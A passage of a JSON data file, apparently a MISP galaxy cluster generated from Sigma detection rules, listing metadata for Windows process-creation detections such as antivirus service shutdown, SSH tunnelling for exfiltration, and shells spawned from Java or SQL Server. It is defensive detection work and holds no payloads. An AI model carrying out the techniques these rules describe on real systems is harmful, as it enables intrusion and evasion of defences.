"https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_screensaver_reg.yml" - ], - "tags": [ - "attack.privilege_escalation", - "attack.t1546.002" - ], - "creation_date": "2021/08/19", - "filename": "proc_creation_win_susp_screensaver_reg.yml", - "author": "frack113", - "level": "medium", - "falsepositive": [ - "GPO" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects suspicious file execution by wscript and cscript", - "uuid": "1e33157c-53b1-41ad-bbcc-780b80b58288", - "value": "WSF/JSE/JS/VBA/VBE File Execution", - "meta": { - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_script_execution.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059.005", - "attack.t1059.007" - ], - "creation_date": "2019/01/16", - "filename": "proc_creation_win_susp_script_execution.yml", - "author": "Michael Haag", - "level": "medium", - "falsepositive": [ - "Will need to be tuned. I recommend adding the user profile path in CommandLine if it is getting too noisy." - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects a suspicious script executions in temporary folders or folders accessible by environment variables", - "uuid": "1228c958-e64e-4e71-92ad-7d429f4138ba", - "value": "Script Interpreter Execution From Suspicious Folder", - "meta": { - "refs": [ - "https://www.virustotal.com/gui/file/91ba814a86ddedc7a9d546e26f912c541205b47a853d227756ab1334ade92c3f", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_script_exec_from_env_folder.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059" - ], - "creation_date": "2022/02/08", - "filename": "proc_creation_win_susp_script_exec_from_env_folder.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects a suspicious script executions from temporary folder", - "uuid": "a6a39bdb-935c-4f0a-ab77-35f4bbf44d33", - "value": "Suspicious Script Execution From Temp Folder", - "meta": { - "refs": [ - "https://www.microsoft.com/security/blog/2021/07/13/microsoft-discovers-threat-actor-targeting-solarwinds-serv-u-software-with-0-day-exploit/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_script_exec_from_temp.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059" - ], - "creation_date": "2021/07/14", - "filename": "proc_creation_win_susp_script_exec_from_temp.yml", - "author": "Florian Roth, Max Altgelt, Tim Shelton", - "level": "high", - "falsepositive": [ - "Administrative scripts" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects suspicious DACL modifications that can be used to hide services or make them unstopable", - "uuid": "99cf1e02-00fb-4c0d-8375-563f978dfd37", - "value": "Suspicious Service DACL Modification", - "meta": { - "refs": [ - "https://www.sans.org/blog/red-team-tactics-hiding-windows-services/", - "https://docs.microsoft.com/pt-br/windows/win32/secauthz/sid-strings", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_service_dacl_modification.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1543.003" - ], - "creation_date": "2020/10/16", - "filename": "proc_creation_win_susp_service_dacl_modification.yml", - "author": "Jonhnathan Ribeiro, oscd.community", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects suspicious DACL modifications via the \"Set-Service\" cmdlet using the \"SecurityDescriptorSddl\" flag (Only available with PowerShell 7) that can be used to hide services or make them unstopable", - "uuid": "a95b9b42-1308-4735-a1af-abb1c5e6f5ac", - "value": "Suspicious Service DACL Modification Via Set-Service Cmdlet", - "meta": { - "refs": [ - "https://www.sans.org/blog/red-team-tactics-hiding-windows-services/", - "https://docs.microsoft.com/pt-br/windows/win32/secauthz/sid-strings", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_service_dacl_modification_set_service.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1543.003" - ], - "creation_date": "2022/10/18", - "filename": "proc_creation_win_susp_service_dacl_modification_set_service.yml", - "author": "Nasreddine Bencherchali", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects a service binary running in a suspicious directory", - "uuid": "883faa95-175a-4e22-8181-e5761aeb373c", - "value": "Suspicious Service Binary Directory", - "meta": { - "refs": [ - "https://blog.truesec.com/2021/03/07/exchange-zero-day-proxylogon-and-hafnium/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_service_dir.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1202" - ], - "creation_date": "2021/03/09", - "filename": "proc_creation_win_susp_service_dir.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects usage of 'Stop-Service' or 'Remove-Service' powershell cmdlet to disable AV services.\nAdversaries may disable security tools to avoid possible detection of their tools and activities by stopping antivirus service\n", - "uuid": "6783aa9e-0dc3-49d4-a94a-8b39c5fd700b", - "value": "Stop Or Remove Antivirus Service", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md", - "https://research.nccgroup.com/2022/08/19/back-in-black-unlocking-a-lockbit-3-0-ransomware-attack/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_service_modification.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1562.001" - ], - "creation_date": "2021/07/07", - "filename": "proc_creation_win_susp_service_modification.yml", - "author": "frack113", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects service path modification via the \"sc\" binary to a suspicious command or path", - "uuid": "138d3531-8793-4f50-a2cd-f291b2863d78", - "value": "Suspicious Service Path Modification", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1543.003/T1543.003.md", - "https://web.archive.org/web/20180331144337/https://www.fireeye.com/blog/threat-research/2018/03/sanny-malware-delivery-method-updated-in-recently-observed-attacks.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_service_path_modification.yml" - ], - "tags": [ - "attack.persistence", - "attack.privilege_escalation", - "attack.t1543.003" - ], - "creation_date": "2019/10/21", - "filename": "proc_creation_win_susp_service_path_modification.yml", - "author": "Victor Sergeev, oscd.community, Nasreddine Bencherchali (update)", - "level": "high", - "falsepositive": [ - "Unlikely" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects the usage of one of the the commands to stop services such as 'net', 'sc'...etc in order to stop critical or important windows services such as AV, Backup...etc. As seen being used in some ransomware scripts", - "uuid": "ce72ef99-22f1-43d4-8695-419dcb5d9330", - "value": "Suspicious Stop Windows Service", - "meta": { - "refs": [ - "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/h/ransomware-actor-abuses-genshin-impact-anti-cheat-driver-to-kill-antivirus/Genshin%20Impact%20Figure%2010.jpg", - "https://www.trellix.com/en-sg/about/newsroom/stories/threat-labs/lockergoga-ransomware-family-used-in-targeted-attacks.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_service_stop.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1489" - ], - "creation_date": "2022/09/01", - "filename": "proc_creation_win_susp_service_stop.yml", - "author": "Nasreddine Bencherchali", - "level": "high", - "falsepositive": [ - "Administrator or tools shutting down the services due to upgrade or removal purposes. If you experience some FP please consider adding filters to the parent process launching this command and not removing the entry" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects patterns as noticed in exploitation of Serv-U CVE-2021-35211 vulnerability by threat group DEV-0322", - "uuid": "75578840-9526-4b2a-9462-af469a45e767", - "value": "Serv-U Exploitation CVE-2021-35211 by DEV-0322", - "meta": { - "refs": [ - "https://www.microsoft.com/security/blog/2021/07/13/microsoft-discovers-threat-actor-targeting-solarwinds-serv-u-software-with-0-day-exploit/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_servu_exploitation_cve_2021_35211.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1136.001", - "cve.2021.35211" - ], - "creation_date": "2021/07/14", - "filename": "proc_creation_win_susp_servu_exploitation_cve_2021_35211.yml", - "author": "Florian Roth", - "level": "critical", - "falsepositive": [ - "Unlikely" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects a suspicious process pattern which could be a sign of an exploited Serv-U service", - "uuid": "58f4ea09-0fc2-4520-ba18-b85c540b0eaf", - "value": "Suspicious Serv-U Process Pattern", - "meta": { - "refs": [ - "https://www.microsoft.com/security/blog/2021/07/13/microsoft-discovers-threat-actor-targeting-solarwinds-serv-u-software-with-0-day-exploit/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_servu_process_pattern.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1555", - "cve.2021.35211" - ], - "creation_date": "2021/07/14", - "filename": "proc_creation_win_susp_servu_process_pattern.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Legitimate uses in which users or programs use the SSH service of Serv-U for remote command execution" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Adversaries may look for details about the network configuration and settings of systems they access or through information discovery of remote systems", - "uuid": "b2317cfa-4a47-4ead-b3ff-297438c0bc2d", - "value": "Suspicious Execution of SharpView Aka PowerView", - "meta": { - "refs": [ - "https://github.com/tevora-threat/SharpView/", - "https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1049/T1049.md#atomic-test-4---system-discovery-using-sharpview", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_sharpview.yml" - ], - "tags": [ - "attack.discovery", - "attack.t1049", - "attack.t1069.002", - "attack.t1482", - "attack.t1135", - "attack.t1033" - ], - "creation_date": "2021/12/10", - "filename": "proc_creation_win_susp_sharpview.yml", - "author": "frack113", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects suspicious usage of the ShellExec_RunDLL function to launch other commands as seen in the the raspberry-robin attack", - "uuid": "d87bd452-6da1-456e-8155-7dc988157b7d", - "value": "Suspicious Usage Of ShellExec_RunDLL", - "meta": { - "refs": [ - "https://redcanary.com/blog/raspberry-robin/", - "https://www.microsoft.com/en-us/security/blog/2022/10/27/raspberry-robin-worm-part-of-larger-ecosystem-facilitating-pre-ransomware-activity/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_shellexec_rundll_usage.yml" - ], - "tags": [ - "attack.defense_evasion" - ], - "creation_date": "2022/09/01", - "filename": "proc_creation_win_susp_shellexec_rundll_usage.yml", - "author": "Nasreddine Bencherchali", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects suspicious shell spawned from Java host process (e.g. log4j exploitation)", - "uuid": "0d34ed8b-1c12-4ff2-828c-16fc860b766d", - "value": "Suspicious Shells Spawned by Java", - "meta": { - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_shell_spawn_by_java.yml" - ], - "tags": [ - "attack.initial_access", - "attack.persistence", - "attack.privilege_escalation" - ], - "creation_date": "2021/12/17", - "filename": "proc_creation_win_susp_shell_spawn_by_java.yml", - "author": "Andreas Hunkeler (@Karneades), Florian Roth", - "level": "high", - "falsepositive": [ - "Legitimate calls to system binaries", - "Company specific internal usage" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects suspicious shell spawn from Java utility keytool process (e.g. adselfservice plus exploitation)", - "uuid": "90fb5e62-ca1f-4e22-b42e-cc521874c938", - "value": "Suspicious Shells Spawn by Java Utility Keytool", - "meta": { - "refs": [ - "https://redcanary.com/blog/intelligence-insights-december-2021", - "https://www.synacktiv.com/en/publications/how-to-exploit-cve-2021-40539-on-manageengine-adselfservice-plus.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_shell_spawn_by_java_keytool.yml" - ], - "tags": [ - "attack.initial_access", - "attack.persistence", - "attack.privilege_escalation" - ], - "creation_date": "2021/12/22", - "filename": "proc_creation_win_susp_shell_spawn_by_java_keytool.yml", - "author": "Andreas Hunkeler (@Karneades)", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects suspicious shell spawn from MSSQL process, this might be sight of RCE or SQL Injection", - "uuid": "869b9ca7-9ea2-4a5a-8325-e80e62f75445", - "value": "Suspicious Shells Spawn by SQL Server", - "meta": { - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_shell_spawn_from_mssql.yml" - ], - "tags": [ - "attack.t1505.003", - "attack.t1190", - "attack.initial_access", - "attack.persistence", - "attack.privilege_escalation" - ], - "creation_date": "2020/12/11", - "filename": "proc_creation_win_susp_shell_spawn_from_mssql.yml", - "author": "FPT.EagleEye Team, wagga", - "level": "high", - "falsepositive": "No established falsepositives", - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects suspicious processes including shells spawnd from WinRM host process", - "uuid": "5cc2cda8-f261-4d88-a2de-e9e193c86716", - "value": "Suspicious Processes Spawned by WinRM", - "meta": { - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_shell_spawn_from_winrm.yml" - ], - "tags": [ - "attack.t1190", - "attack.initial_access", - "attack.persistence", - "attack.privilege_escalation" - ], - "creation_date": "2021/05/20", - "filename": "proc_creation_win_susp_shell_spawn_from_winrm.yml", - "author": "Andreas Hunkeler (@Karneades), Markus Neis", - "level": "high", - "falsepositive": [ - "Legitimate WinRM usage" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects actions that clear the local ShimCache and remove forensic evidence", - "uuid": "b0524451-19af-4efa-a46f-562a977f792e", - "value": "ShimCache Flush", - "meta": { - "refs": [ - "https://medium.com/@blueteamops/shimcache-flush-89daff28d15e", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_shimcache_flush.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1112" - ], - "creation_date": "2021/02/01", - "filename": "proc_creation_win_susp_shimcache_flush.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Use of the commandline to shutdown or reboot windows", - "uuid": "34ebb878-1b15-4895-b352-ca2eeb99b274", - "value": "Suspicious Execution of Shutdown", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1529/T1529.md", - "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/shutdown", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_shutdown.yml" - ], - "tags": [ - "attack.impact", - "attack.t1529" - ], - "creation_date": "2022/01/01", - "filename": "proc_creation_win_susp_shutdown.yml", - "author": "frack113", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects suspicious Splwow64.exe process without any command line parameters", - "uuid": "1f1a8509-2cbb-44f5-8751-8e1571518ce2", - "value": "Suspicious Splwow64 Without Params", - "meta": { - "refs": [ - "https://twitter.com/sbousseaden/status/1429401053229891590?s=12", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_splwow64.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1202" - ], - "creation_date": "2021/08/23", - "filename": "proc_creation_win_susp_splwow64.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects suspicious print spool service (spoolsv.exe) child processes.", - "uuid": "dcdbc940-0bff-46b2-95f3-2d73f848e33b", - "value": "Suspicious Spool Service Child Process", - "meta": { - "refs": [ - "https://github.com/microsoft/Microsoft-365-Defender-Hunting-Queries/blob/efa17a600b43c897b4b7463cc8541daa1987eeb4/Exploits/Print%20Spooler%20RCE/Suspicious%20Spoolsv%20Child%20Process.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_spoolsv_child_processes.yml" - ], - "tags": [ - "attack.execution", - "attack.t1203", - "attack.privilege_escalation", - "attack.t1068" - ], - "creation_date": "2021/07/11", - "filename": "proc_creation_win_susp_spoolsv_child_processes.yml", - "author": "Justin C. (@endisphotic), @dreadphones (detection), Thomas Patzke (Sigma rule)", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects Possible Squirrel Packages Manager as Lolbin", - "uuid": "fa4b21c9-0057-4493-b289-2556416ae4d7", - "value": "Squirrel Lolbin", - "meta": { - "refs": [ - "http://www.hexacorn.com/blog/2019/03/30/sqirrel-packages-manager-as-a-lolbin-a-k-a-many-electron-apps-are-lolbins-by-default/", - "http://www.hexacorn.com/blog/2018/08/16/squirrel-as-a-lolbin/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_squirrel_lolbin.yml" - ], - "tags": [ - "attack.execution", - "attack.defense_evasion", - "attack.t1218" - ], - "creation_date": "2019/11/12", - "filename": "proc_creation_win_susp_squirrel_lolbin.yml", - "author": "Karneades / Markus Neis, Jonhnathan Ribeiro, oscd.community", - "level": "medium", - "falsepositive": [ - "1Clipboard", - "Beaker Browser", - "Caret", - "Collectie", - "Discord", - "Figma", - "Flow", - "Ghost", - "GitHub Desktop", - "GitKraken", - "Hyper", - "Insomnia", - "JIBO", - "Kap", - "Kitematic", - "Now Desktop", - "Postman", - "PostmanCanary", - "Rambox", - "Simplenote", - "Skype", - "Slack", - "SourceTree", - "Stride", - "Svgsus", - "WebTorrent", - "WhatsApp", - "WordPress.com", - "Atom", - "Gitkraken", - "Slack", - "Teams" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects suspicious SSH tunnel port forwarding to a local port", - "uuid": "327f48c1-a6db-4eb8-875a-f6981f1b0183", - "value": "Suspicious SSH Port Forwarding", - "meta": { - "refs": [ - "https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_ssh_port_forward.yml" - ], - "tags": [ - "attack.command_and_control", - "attack.t1572", - "attack.lateral_movement", - "attack.t1021.001" - ], - "creation_date": "2022/10/12", - "filename": "proc_creation_win_susp_ssh_port_forward.yml", - "author": "Nasreddine Bencherchali", - "level": "high", - "falsepositive": [ - "Administrative activity using a remote port forwarding to a local port" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Execution of ssh.exe to perform data exfiltration and tunneling through RDP", - "uuid": "f7d7ebd5-a016-46e2-9c54-f9932f2d386d", - "value": "Suspicious SSH Usage RDP Tunneling", - "meta": { - "refs": [ - "https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_ssh_usage.yml" - ], - "tags": [ - "attack.command_and_control", - "attack.t1572" - ], - "creation_date": "2022/10/12", - "filename": "proc_creation_win_susp_ssh_usage.yml", - "author": "Nasreddine Bencherchali", - "level": "high", - "falsepositive": [ - "Administrative activity" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects a suspicious svchost process start", - "uuid": "01d2e2a1-5f09-44f7-9fc1-24faa7479b6d", - "value": "Suspicious Svchost Process", - "meta": { - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_svchost.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1036.005" - ], - "creation_date": "2017/08/15", - "filename": "proc_creation_win_susp_svchost.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "It is extremely abnormal for svchost.exe to spawn without any CLI arguments and is normally observed when a malicious process spawns the process and injects code into the process memory space.", - "uuid": "16c37b52-b141-42a5-a3ea-bbe098444397", - "value": "Suspect Svchost Activity", - "meta": { - "refs": [ - "https://securitybytes.io/blue-team-fundamentals-part-two-windows-processes-759fe15965e2", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_svchost_no_cli.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.privilege_escalation", - "attack.t1055" - ], - "creation_date": "2019/12/28", - "filename": "proc_creation_win_susp_svchost_no_cli.yml", - "author": "David Burkett", - "level": "high", - "falsepositive": [ - "Rpcnet.exe / rpcnetp.exe which is a lojack style software. https://www.blackhat.com/docs/us-14/materials/us-14-Kamlyuk-Kamluk-Computrace-Backdoor-Revisited.pdf" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects suspicious sysprep process start with AppData folder as target (as used by Trojan Syndicasec in Thrip report by Symantec)", - "uuid": "d5b9ae7a-e6fc-405e-80ff-2ff9dcc64e7e", - "value": "Sysprep on AppData Folder", - "meta": { - "refs": [ - "https://www.symantec.com/blogs/threat-intelligence/thrip-hits-satellite-telecoms-defense-targets", - "https://app.any.run/tasks/61a296bb-81ad-4fee-955f-3b399f4aaf4b", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_sysprep_appdata.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059" - ], - "creation_date": "2018/06/22", - "filename": "proc_creation_win_susp_sysprep_appdata.yml", - "author": "Florian Roth", - "level": "medium", - "falsepositive": [ - "False positives depend on scripts and administrative tools used in the monitored environment" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects usage of the \"systeminfo\" command to retrieve information", - "uuid": "0ef56343-059e-4cb6-adc1-4c3c967c5e46", - "value": "Suspicious Execution of Systeminfo", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1082/T1082.md#atomic-test-1---system-information-discovery", - "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/systeminfo", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_systeminfo.yml" - ], - "tags": [ - "attack.discovery", - "attack.t1082" - ], - "creation_date": "2022/01/01", - "filename": "proc_creation_win_susp_systeminfo.yml", - "author": "frack113", - "level": "low", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects a suspicious process creation as SYSTEM user (suspicious program or command line parameter)", - "uuid": "2617e7ed-adb7-40ba-b0f3-8f9945fe6c09", - "value": "Suspicious SYSTEM User Process Creation", - "meta": { - "refs": [ - "Internal Research", - "https://tools.thehacker.recipes/mimikatz/modules", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_system_user_anomaly.yml" - ], - "tags": "No established tags", - "creation_date": "2021/12/20", - "filename": "proc_creation_win_susp_system_user_anomaly.yml", - "author": "Florian Roth (rule), David ANDRE (additional keywords)", - "level": "high", - "falsepositive": [ - "Administrative activity", - "Scripts and administrative tools used in the monitored environment", - "Monitoring activity" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects Access to Domain Group Policies stored in SYSVOL", - "uuid": "05f3c945-dcc8-4393-9f3d-af65077a8f86", - "value": "Suspicious SYSVOL Domain Group Policy Access", - "meta": { - "refs": [ - "https://adsecurity.org/?p=2288", - "https://www.hybrid-analysis.com/sample/f2943f5e45befa52fb12748ca7171d30096e1d4fc3c365561497c618341299d5?environmentId=100", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_sysvol_access.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1552.006" - ], - "creation_date": "2018/04/09", - "filename": "proc_creation_win_susp_sysvol_access.yml", - "author": "Markus Neis, Jonhnathan Ribeiro, oscd.community", - "level": "medium", - "falsepositive": [ - "Administrative activity" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Adversaries can interact with the DACLs using built-in Windows commands takeown which can grant adversaries higher permissions on specific files and folders", - "uuid": "554601fb-9b71-4bcc-abf4-21a611be4fde", - "value": "Suspicious Recursif Takeown", - "meta": { - "refs": [ - "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/takeown", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1222.001/T1222.001.md#atomic-test-1---take-ownership-using-takeown-utility", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_takeown.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1222.001" - ], - "creation_date": "2022/01/30", - "filename": "proc_creation_win_susp_takeown.yml", - "author": "frack113", - "level": "medium", - "falsepositive": [ - "Scripts created by developers and admins", - "Administrative activity" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects shell32.dll executing a DLL in a suspicious directory", - "uuid": "32b96012-7892-429e-b26c-ac2bf46066ff", - "value": "Shell32 DLL Execution in Suspicious Directory", - "meta": { - "refs": [ - "https://www.group-ib.com/resources/threat-research/red-curl-2.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_target_location_shell32.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.execution", - "attack.t1218.011" - ], - "creation_date": "2021/11/24", - "filename": "proc_creation_win_susp_target_location_shell32.yml", - "author": "Christian Burkard", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Adversaries may stop services or processes in order to conduct Data Destruction or Data Encrypted for Impact on the data stores of services like Exchange and SQL Server.", - "uuid": "86085955-ea48-42a2-9dd3-85d4c36b167d", - "value": "Suspicious Execution of Taskkill", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1489/T1489.md#atomic-test-3---windows---stop-service-by-killing-process", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_taskkill.yml" - ], - "tags": [ - "attack.impact", - "attack.t1489" - ], - "creation_date": "2021/12/26", - "filename": "proc_creation_win_susp_taskkill.yml", - "author": "frack113", - "level": "low", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network", - "uuid": "63332011-f057-496c-ad8d-d2b6afb27f96", - "value": "Suspicious Tasklist Discovery Command", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1057/T1057.md#atomic-test-2---process-discovery---tasklist", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_tasklist_command.yml" - ], - "tags": [ - "attack.discovery", - "attack.t1057" - ], - "creation_date": "2021/12/11", - "filename": "proc_creation_win_susp_tasklist_command.yml", - "author": "frack113", - "level": "low", - "falsepositive": [ - "Administrator, hotline ask to user" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects the creation of taskmgr.exe process in context of LOCAL_SYSTEM", - "uuid": "9fff585c-c33e-4a86-b3cd-39312079a65f", - "value": "Taskmgr as LOCAL_SYSTEM", - "meta": { - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_taskmgr_localsystem.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1036" - ], - "creation_date": "2018/03/18", - "filename": "proc_creation_win_susp_taskmgr_localsystem.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects the creation of a process from Windows task manager", - "uuid": "3d7679bd-0c00-440c-97b0-3f204273e6c7", - "value": "Taskmgr as Parent", - "meta": { - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_taskmgr_parent.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1036" - ], - "creation_date": "2018/03/13", - "filename": "proc_creation_win_susp_taskmgr_parent.yml", - "author": "Florian Roth", - "level": "low", - "falsepositive": [ - "Administrative activity" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "This rule detects DLL injection and execution via 